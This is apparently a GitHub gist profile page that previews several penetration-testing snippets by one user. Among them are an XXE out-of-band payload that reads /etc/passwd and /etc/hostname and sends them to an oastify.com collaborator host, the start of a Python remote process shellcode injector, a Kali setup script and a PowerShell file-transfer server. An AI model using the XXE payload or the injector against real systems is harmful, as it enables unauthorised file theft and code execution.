Skip to content

Instantly share code, notes, and snippets.

View UnleashTheCode's full-sized avatar
😎

UnleashTheCode

😎
  • Romania
View GitHub Profile
import requests
def send_http_request_from_file(file_path):
with open(file_path, 'r') as file:
lines = file.readlines()
# Parse the first line to get the HTTP method and URL
request_line = lines[0].strip()
method, url = request_line.split(' ', 1)
<!ENTITY % fileW SYSTEM "file:///etc/hostname">
<!ENTITY % fileL SYSTEM "file:///etc/passwd">
<!ENTITY % fileZ SYSTEM "file:///">
<!ENTITY % fileE SYSTEM "file://asdasdin/a">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://rfav2tjycj60sbkqud3i44z1lsrjf93y.oastify.com/?x=%fileW;'>">
<!ENTITY % evalq "<!ENTITY &#x25; exfiltrateq SYSTEM 'http://rfav2tjycj60sbkqud3i44z1lsrjf93y.oastify.com/?x=%fileL;'>">
<!ENTITY % evala "<!ENTITY &#x25; exfiltratea SYSTEM 'http://rfav2tjycj60sbkqud3i44z1lsrjf93y.oastify.com/?x=%fileZ;'>">
<!ENTITY % evale "<!ENTITY &#x25; exfiltratee SYSTEM 'http://rfav2tjycj60sbkqud3i44z1lsrjf93y.oastify.com/?x=%fileZ;'>">
%eval;
@UnleashTheCode
UnleashTheCode / pimp.sh
Last active September 16, 2024 07:28
A scripts to improve the quality of life on your kali
#!/bin/bash
# Ensure backup of .zshrc
cp ~/.zshrc ~/.zshrc_copy 2>/dev/null || true
# Add go to path
echo "export PATH=$PATH:/home/$USER/go/bin" >> ~/.zshrc
export PATH=$PATH:/home/$USER/go/bin
# Abort on errors
set -e
@UnleashTheCode
UnleashTheCode / RPI.py
Created March 9, 2023 12:39
A Remote Code Injector written in Python
# Remote Process Memory Injection
# Doesn't work on every program
# Tested with .NET programs (EarTrumpet, Greenshot)
import sys
from ctypes import *
import psutil
shellCode = b"Shell_code_here"
@UnleashTheCode
UnleashTheCode / shs.ps1
Last active February 28, 2023 14:59
Simple HTTP Server Powershell for file transfer
param ($DPath, $DPort)
if (!$DPath)
{
$DPath = '.'
}
if (!$DPort)
{
$DPort = '4444'